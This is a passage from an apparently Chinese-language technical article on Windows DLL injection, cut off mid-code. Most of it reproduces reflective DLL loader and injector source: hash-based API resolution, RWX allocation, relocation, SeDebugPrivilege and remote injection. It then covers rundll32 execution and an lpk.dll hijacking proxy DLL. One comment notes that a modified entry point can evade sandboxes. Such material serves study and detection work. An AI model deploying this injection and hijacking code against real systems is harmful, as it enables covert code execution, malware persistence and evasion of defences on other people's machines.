ULONG_PTR uiLibraryAddress; // the kernels base address and later this images newly loaded base address ULONG_PTR uiBaseAddress; // variables for processing the kernels export table ULONG_PTR uiAddressArray; ULONG_PTR uiNameArray; ULONG_PTR uiExportDir; ULONG_PTR uiNameOrdinals; DWORD dwHashValue; // variables for loading this image ULONG_PTR uiHeaderValue; ULONG_PTR uiValueA; ULONG_PTR uiValueB; ULONG_PTR uiValueC; ULONG_PTR uiValueD; ULONG_PTR uiValueE; // STEP 0: calculate our images current base address // we will start searching backwards from our callers return address. // The _ReturnAddress intrinsic provides the address of the instruction in the calling function that will be executed after control returns to the caller. uiLibraryAddress = caller(); // loop through memory backwards searching for our images base address // we dont need SEH style search as we shouldnt generate any access violations with this while( TRUE ) { // 通过逐个DWORD搜索0x5A4D // MZ关键字动态搜索DLL的文件头 if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE ) { uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'), // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems. if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 ) { uiHeaderValue += uiLibraryAddress; // break if we have found a valid MZ/PE header if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE ) break; } } uiLibraryAddress--; } // STEP 1: process the kernels exports for the functions our loader needs... // get the Process Enviroment Block // 获取PEB #ifdef WIN_X64 uiBaseAddress = __readgsqword( 0x60 ); #else #ifdef WIN_X86 uiBaseAddress = __readfsdword( 0x30 ); #else WIN_ARM uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 ); #endif #endif // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr; /* 动态获取API函数地址 KERNEL32DLL_HASH(LOADLIBRARYA、GETPROCADDRESS、VIRTUALALLOC) NTDLLDLL_HASH(pNtFlushInstructionCache) */ // get the first entry of the InMemoryOrder module list uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink; while( uiValueA ) { // get pointer to current modules name (unicode string) uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer; // set bCounter to the length for the loop usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length; // clear uiValueC which will store the hash of the module name uiValueC = 0; // compute the hash of the module name... do { uiValueC = ror( (DWORD)uiValueC ); // normalize to uppercase if the madule name is in lowercase if( *((BYTE *)uiValueB) >= 'a' ) uiValueC += *((BYTE *)uiValueB) - 0x20; else uiValueC += *((BYTE *)uiValueB); uiValueB++; } while( --usCounter ); // compare the hash with that of kernel32.dll if( (DWORD)uiValueC == KERNEL32DLL_HASH ) { // get this modules base address uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; // get the VA of the modules NT Header uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; // uiNameArray = the address of the modules export directory entry uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; // get the VA of the export directory uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); // get the VA for the array of name pointers uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); // get the VA for the array of name ordinals uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); usCounter = 3; // loop while we still have imports to find while( usCounter > 0 ) { // compute the hash values for this function name dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); // if we have found a function we want we get its virtual address if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH ) { // get the VA for the array of addresses uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); // use this functions name ordinal as an index into the array of name pointers uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); // store this functions VA if( dwHashValue == LOADLIBRARYA_HASH ) pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) ); else if( dwHashValue == GETPROCADDRESS_HASH ) pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) ); else if( dwHashValue == VIRTUALALLOC_HASH ) pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) ); // decrement our counter usCounter--; } // get the next exported function name uiNameArray += sizeof(DWORD); // get the next exported function name ordinal uiNameOrdinals += sizeof(WORD); } } else if( (DWORD)uiValueC == NTDLLDLL_HASH ) { // get this modules base address uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; // get the VA of the modules NT Header uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; // uiNameArray = the address of the modules export directory entry uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; // get the VA of the export directory uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); // get the VA for the array of name pointers uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); // get the VA for the array of name ordinals uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); usCounter = 1; // loop while we still have imports to find while( usCounter > 0 ) { // compute the hash values for this function name dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); // if we have found a function we want we get its virtual address if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) { // get the VA for the array of addresses uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); // use this functions name ordinal as an index into the array of name pointers uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); // store this functions VA if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) ); // decrement our counter usCounter--; } // get the next exported function name uiNameArray += sizeof(DWORD); // get the next exported function name ordinal uiNameOrdinals += sizeof(WORD); } } // we stop searching when we have found everything we need. if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache ) break; // get the next entry uiValueA = DEREF( uiValueA ); } // STEP 2: load our image into a new permanent location in memory... // get the VA of the NT Header for the PE to be loaded uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; // allocate all the memory for the DLL to be loaded into. we can load at any address because we will // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems. // 重新在目标被注入进程中申请一块新的可读可写可执行内存 uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); // we must now copy over the headers // 写入DLL的文件头 uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders; uiValueB = uiLibraryAddress; uiValueC = uiBaseAddress; while( uiValueA-- ) *(BYTE *)uiValueC++ = *(BYTE *)uiValueB++; // STEP 3: load in all of our sections... // uiValueA = the VA of the first section uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader ); // itterate through all sections, loading them into memory. // 从DLL中逐个节拷贝到目标进程中 uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections; while( uiValueE-- ) { // uiValueB is the VA for this section uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress ); // uiValueC if the VA for this sections data uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData ); // copy the section over uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData; while( uiValueD-- ) *(BYTE *)uiValueB++ = *(BYTE *)uiValueC++; // get the VA of the next section uiValueA += sizeof( IMAGE_SECTION_HEADER ); } // STEP 4: process our images import table... // 在被注入进程的内存空间中重建写入DLL的导入表 // uiValueB = the address of the import directory uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ]; // we assume their is an import table to process // uiValueC is the first entry in the import table uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); // itterate through all imports while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) { // use LoadLibraryA to load the imported module into memory uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) ); // uiValueD = VA of the OriginalFirstThunk uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk ); // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk) uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk ); // itterate through all imported functions, importing by ordinal if no name present while( DEREF(uiValueA) ) { // sanity check uiValueD as some compilers only import by FirstThunk if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG ) { // get the VA of the modules NT Header uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; // uiNameArray = the address of the modules export directory entry uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; // get the VA of the export directory uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); // get the VA for the array of addresses uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); // use the import ordinal (- export ordinal base) as an index into the array of addresses uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) ); // patch in the address for this imported function DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) ); } else { // get the VA of this functions import by name struct uiValueB = ( uiBaseAddress + DEREF(uiValueA) ); // use GetProcAddress and patch in the address for this imported function DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name ); } // get the next imported function uiValueA += sizeof( ULONG_PTR ); if( uiValueD ) uiValueD += sizeof( ULONG_PTR ); } // get the next import uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR ); } // STEP 5: process all of our images relocations... // 在被注入进程的内存空间中对DLL导入函数进行重定位 // calculate the base address delta and perform relocations (even if we load at desired image base) uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase; // uiValueB = the address of the relocation directory uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ]; // check if their are any relocations present if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size ) { // uiValueC is now the first entry (IMAGE_BASE_RELOCATION) uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); // and we itterate through all entries... while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock ) { // uiValueA = the VA for this relocation block uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress ); // uiValueB = number of entries in this relocation block uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC ); // uiValueD is now the first entry in the current relocation block uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION); // we itterate through all the entries in the current block... while( uiValueB-- ) { // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required. // we dont use a switch statement to avoid the compiler building a jump table // which would not be very position independent! if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 ) *(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress; else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW ) *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress; #ifdef WIN_ARM // Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem. else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T ) { register DWORD dwInstruction; register DWORD dwAddress; register WORD wImm; // get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word) dwInstruction = *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ); // flip the words to get the instruction as expected dwInstruction = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) ); // sanity chack we are processing a MOV instruction... if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT ) { // pull out the encoded 16bit value (the high portion of the address-to-relocate) wImm = (WORD)( dwInstruction & 0x000000FF); wImm |= (WORD)((dwInstruction & 0x00007000) >> 4); wImm |= (WORD)((dwInstruction & 0x04000000) >> 15); wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4); // apply the relocation to the target address dwAddress = ( (WORD)HIWORD(uiLibraryAddress) + wImm ) & 0xFFFF; // now create a new instruction with the same opcode and register param. dwInstruction = (DWORD)( dwInstruction & ARM_MOV_MASK2 ); // patch in the relocated address... dwInstruction |= (DWORD)(dwAddress & 0x00FF); dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4; dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15; dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4; // now flip the instructions words and patch back into the code... *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ) = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) ); } } #endif else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH ) *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress); else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW ) *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress); // get the next entry in the current relocation block uiValueD += sizeof( IMAGE_RELOC ); } // get the next entry in the relocation directory uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock; } } // STEP 6: call our images entry point // 通过函数指针调用被注入进程的内存空间中的DLL入口地址,这里使用的就是真实的DllMain地址,实际上可以使用一个修改了EntryPoint的DLL,这种DLL可以躲避sandbox的运行 // uiValueA = the VA of our newly loaded DLL/EXE's entry point uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint ); // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing. pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 ); // call our respective entry point, fudging our hInstance value #ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter) ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter ); #else // if we are injecting an DLL via a stub we call DllMain with no parameter ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL ); #endif // STEP 8: return our new entry point address so whatever called us can call DllMain() if needed. return uiValueA; } //===============================================================================================// #ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) { BOOL bReturnValue = TRUE; switch( dwReason ) { case DLL_QUERY_HMODULE: if( lpReserved != NULL ) *(HMODULE *)lpReserved = hAppInstance; break; case DLL_PROCESS_ATTACH: hAppInstance = hinstDLL; break; case DLL_PROCESS_DETACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: break; } return bReturnValue; } #endif //===============================================================================================//
0x2: Inject.c
//===============================================================================================// // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) // All rights reserved. // // Redistribution and use in source and binary forms, with or without modification, are permitted // provided that the following conditions are met: // // * Redistributions of source code must retain the above copyright notice, this list of // conditions and the following disclaimer. // // * Redistributions in binary form must reproduce the above copyright notice, this list of // conditions and the following disclaimer in the documentation and/or other materials provided // with the distribution. // // * Neither the name of Harmony Security nor the names of its contributors may be used to // endorse or promote products derived from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE // POSSIBILITY OF SUCH DAMAGE. //===============================================================================================// #define WIN32_LEAN_AND_MEAN #include <windows.h> #include <stdio.h> #include <stdlib.h> #include "LoadLibraryR.h" #pragma comment(lib,"Advapi32.lib") #define BREAK_WITH_ERROR( e ) { printf( "[-] %s. Error=%d", e, GetLastError() ); break; } // Simple app to inject a reflective DLL into a process vis its process ID. int main( int argc, char * argv[] ) { HANDLE hFile = NULL; HANDLE hModule = NULL; HANDLE hProcess = NULL; HANDLE hToken = NULL; LPVOID lpBuffer = NULL; DWORD dwLength = 0; DWORD dwBytesRead = 0; DWORD dwProcessId = 0; TOKEN_PRIVILEGES priv = {0}; #ifdef WIN_X64 char * cpDllFile = "reflective_dll.x64.dll"; #else #ifdef WIN_X86 char * cpDllFile = "reflective_dll.dll"; #else WIN_ARM char * cpDllFile = "reflective_dll.arm.dll"; #endif #endif do { // Usage: inject.exe [pid] [dll_file] if( argc == 1 ) dwProcessId = GetCurrentProcessId(); else dwProcessId = atoi( argv[1] ); if( argc >= 3 ) cpDllFile = argv[2]; hFile = CreateFileA( cpDllFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if( hFile == INVALID_HANDLE_VALUE ) BREAK_WITH_ERROR( "Failed to open the DLL file" ); dwLength = GetFileSize( hFile, NULL ); if( dwLength == INVALID_FILE_SIZE || dwLength == 0 ) BREAK_WITH_ERROR( "Failed to get the DLL file size" ); lpBuffer = HeapAlloc( GetProcessHeap(), 0, dwLength ); if( !lpBuffer ) BREAK_WITH_ERROR( "Failed to get the DLL file size" ); if( ReadFile( hFile, lpBuffer, dwLength, &dwBytesRead, NULL ) == FALSE ) BREAK_WITH_ERROR( "Failed to alloc a buffer!" ); if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) ) { priv.PrivilegeCount = 1; priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) ) AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL ); CloseHandle( hToken ); } hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId ); if( !hProcess ) BREAK_WITH_ERROR( "Failed to open the target process" ); // 将待注入的DLL通过ReflectiveLoader注入到目标进程空间中 hModule = LoadRemoteLibraryR( hProcess, lpBuffer, dwLength, NULL ); if( !hModule ) BREAK_WITH_ERROR( "Failed to inject the DLL" ); printf( "[+] Injected the '%s' DLL into process %d.", cpDllFile, dwProcessId ); WaitForSingleObject( hModule, -1 ); } while( 0 ); if( lpBuffer ) HeapFree( GetProcessHeap(), 0, lpBuffer ); if( hProcess ) CloseHandle( hProcess ); return 0; }
Relevant Link:
https://msdn.microsoft.com/en-us/library/64ez38eh.aspx https://github.com/stephenfewer/ReflectiveDLLInjection https://countercept.com/our-thinking/threat-hunting-for-fileless-malware/ http://bobao.360.cn/learning/detail/3883.html http://bobao.360.cn/learning/detail/3881.html https://msdn.microsoft.com/zh-cn/library/d8ba5k1h(v=vs.90).aspx https://countercept.com/our-thinking/doublepulsar-usermode-analysis-generic-reflective-dll-loader/ https://countercept.com/our-thinking/analyzing-the-doublepulsar-kernel-dll-injection-technique/
14. 通过系统指令rundll32.exe执行DLL中指定函数
Rundll32 dllname.dll,funcname
# or
Rundll32 dllname.dll,#funcnumber
Relevant Link:
https://technet.microsoft.com/en-us/library/ee649171(v=ws.11).aspx
15. DLL劫持 - lpk.dll
0x1: 原理
每个PE文件都有一个"导入表",pe文件在加载时,会优先加载"导入表"中的PE文件。进程在运行时,会从"导入表"中获取要加载的DLL的名称,然后按照指定的目录顺序去加载这些dll。"导入表"中有系统dll,也有程序自带的dll,因此dll劫持可再细分为
1. 系统dll劫持: 替换系统原生dll(例如kernel32.dll) 2. 程序自带dll劫持(随应用程序分发的dll)
DLL在被加载时有个搜索顺序
1. 当注册表HKLM\System\CurrentControlSet\Control\Session Manager键值下的属性SafeDllSearchMode的值设置为1时,DLL搜索顺序如下 1) 应用程序EXE所在的路径。 2) 系统目录。 3) 16位系统目录 4) Windows目录 5) 当前目录 6) PATH环境变量指定的目录 2. 当SafeDllSearchMode的值为0时,dll搜索顺序又会变为 1) 应用程序EXE所在的路径。 2) 当前目录 3) 系统目录。 4) 16位系统目录 5) Windows目录 6) PATH环境变量指定的目录
然而在实际的”系统dll劫持“操作中,我们会发现并不是所有dll都能被劫持,xp和win7及win7以后的系统劫持效果也有所不同。Win7及以后的系统增加了HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs 来拒绝部分系统dll被劫持。该注册表中的dll名称不允许被劫持,即系统dll劫持会失败。
不过,微软又莫名其妙的允许用户在上述注册表路径中添加“ExcludeFromKnownDlls”注册表项,排除一些被“KnownDLLs注册表项”机制保护的DLL。也就是说,只要在“ExcludeFromKnownDlls”注册表项中添加你想劫持的DLL名称就可以对该DLL进行劫持,不过修改之后需要重新启动电脑才能生效
除了系统dll劫持之外,黑客还常用针对某个应用程序一起分发的dll的劫持,这种dll劫持系统本身不提供保护,需要应用程序自己去做签名和完整性校验
DLL劫持主要是因为Windows的资源共享机制。为了尽可能多得安排资源共享,微软建议多个应用程序共享的任何模块应该放在Windows的系统目录中,如kernel32.dll,这样能够方便找到。但是随着时间的推移,安装程序会用旧文件或者未向后兼容的新文件来替换系统目录下的文件,这样会使一些其他的应用程序无法正确执行,因此,微软改变了策略,建议应用程序将所有文件放到自己的目录中去,而不要去碰系统目录下的任何东西。
为了提供这样的功能,在Window2000开始,微软加了一个特性,强制操作系统的加载程序首先从应用程序目录中加载模块,只有当加载程序无法在应用程序目录中找到文件,才搜索其他目录。利用系统的这个特性,就可以使应用程序强制加载我们指定的DLL做一些特殊的工作。
例如,Windows的系统目录下有一个名为LPK.DLL的系统文件,程序运行时会在c:\Windows\system32文件夹下找到这个DLL文件并加载它。如打开记事本程序
HKLM\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode 1. 如果为1,搜索的顺序为: 应用程序所在目录 -> 系统目录(用GetSystemDirectory获取) -> 16位系统目录 -> Windows目录(用GetWindowsDirectory获取) -> 运行程序的当前目录 -> PATH环境变量 2. 如果为0,搜索顺序为: 应用程序所在目录 -> 运行程序的当前目录 -> 系统目录(用GetSystemDirectory获取) -> 16位系统目录 -> Windows目录(用GetWindowsDirectory获取) -> PATH环境变量
Windows Server 2003默认值为1,Windows XP/2000默认值为0或者没有这个键值。但是不管是哪种情况,第一个搜索的肯定是应用程序的所在目录,这样就有机会让应用程序去加载我们的DLL。如果这个DLL和系统目录下的某个DLL同名,导出表也相同,功能就是加载系统目录下的那个DLL,并且将导出表转发到那个真实的DLL。这时DLL劫持就发生了。可以看出,构造一个符合上面要求的DLL,再将其放在可执行文件的目录即可实现DLL劫持了
0x2: DLL劫持的实现
通过编程来实现一个LPK.DLL文件,它与系统目录下的LPK.DLL导出表相同,并能加载系统目录下的LPK.DLL,并且能将导出表转发到真实的LPK.DLL
1. 构造一个与系统目录下LPK.DLL一样的导出表 2. 加载系统目录下的LPK.DLL 3. 将导出函数转发到系统目录下的LPK.DLL上 4. 在初始化函数中加入我们要执行的代码
lpk.cpp
// lpk.cpp : Defines the entry point for the DLL application. // #pragma comment(lib, "user32.lib") // 头文件 #include "stdafx.h" // 导出函数 #pragma comment(linker, "/EXPORT:LpkInitialize=_AheadLib_LpkInitialize,@1") #pragma comment(linker, "/EXPORT:LpkTabbedTextOut=_AheadLib_LpkTabbedTextOut,@2") #pragma comment(linker, "/EXPORT:LpkDllInitialize=_AheadLib_LpkDllInitialize,@3") #pragma comment(linker, "/EXPORT:LpkDrawTextEx=_AheadLib_LpkDrawTextEx,@4") //#pragma comment(linker, "/EXPORT:LpkEditControl=_AheadLib_LpkEditControl,@5") #pragma comment(linker, "/EXPORT:LpkExtTextOut=_AheadLib_LpkExtTextOut,@6") #pragma comment(linker, "/EXPORT:LpkGetCharacterPlacement=_AheadLib_LpkGetCharacterPlacement,@7") #pragma comment(linker, "/EXPORT:LpkGetTextExtentExPoint=_AheadLib_LpkGetTextExtentExPoint,@8") #pragma comment(linker, "/EXPORT:LpkPSMTextOut=_AheadLib_LpkPSMTextOut,@9") #pragma comment(linker, "/EXPORT:LpkUseGDIWidthCache=_AheadLib_LpkUseGDIWidthCache,@10") #pragma comment(linker, "/EXPORT:ftsWordBreak=_AheadLib_ftsWordBreak,@11") // 宏定义 #define EXTERNC extern "C" #define NAKED __declspec(naked) #define EXPORT __declspec(dllexport) #define ALCPP EXPORT NAKED #define ALSTD EXTERNC EXPORT NAKED void __stdcall #define ALCFAST EXTERNC EXPORT NAKED void __fastcall #define ALCDECL EXTERNC NAKED void __cdecl //LpkEditControl导出的是数组,不是单一的函数(by Backer) EXTERNC void __cdecl AheadLib_LpkEditControl(void); EXTERNC __declspec(dllexport) void (*LpkEditControl[14])() = {AheadLib_LpkEditControl}; //添加全局变量 // AheadLib 命名空间 namespace AheadLib { HMODULE m_hModule = NULL; // 原始模块句柄 // 加载原始模块 inline BOOL WINAPI Load() { TCHAR tzPath[MAX_PATH]; TCHAR tzTemp[MAX_PATH * 2]; GetSystemDirectory(tzPath, MAX_PATH); lstrcat(tzPath, TEXT("\\lpk")); m_hModule=LoadLibrary(tzPath); if (m_hModule == NULL) { wsprintf(tzTemp, TEXT("无法加载 %s,程序无法正常运行。"), tzPath); MessageBox(NULL, tzTemp, TEXT("AheadLib"), MB_ICONSTOP); }; return (m_hModule != NULL); } // 释放原始模块 inline VOID WINAPI Free() { if (m_hModule) { FreeLibrary(m_hModule); } } // 获取原始函数地址 FARPROC WINAPI GetAddress(PCSTR pszProcName) { FARPROC fpAddress; CHAR szProcName[16]; TCHAR tzTemp[MAX_PATH]; fpAddress = GetProcAddress(m_hModule, pszProcName); if (fpAddress == NULL) { if (HIWORD(pszProcName) == 0) { wsprintf(szProcName, "%d", pszProcName); pszProcName = szProcName; } wsprintf(tzTemp, TEXT("无法找到函数 %hs,程序无法正常运行。"), pszProcName); MessageBox(NULL, tzTemp, TEXT("AheadLib"), MB_ICONSTOP); ExitProcess(-2); } return fpAddress; } } using namespace AheadLib; //函数声明 void WINAPIV Init(LPVOID pParam); void WINAPIV Init(LPVOID pParam) { //在这里添加DLL加载代码 MessageBox(NULL, TEXT("可以执行任意代码了,测试成功。"), 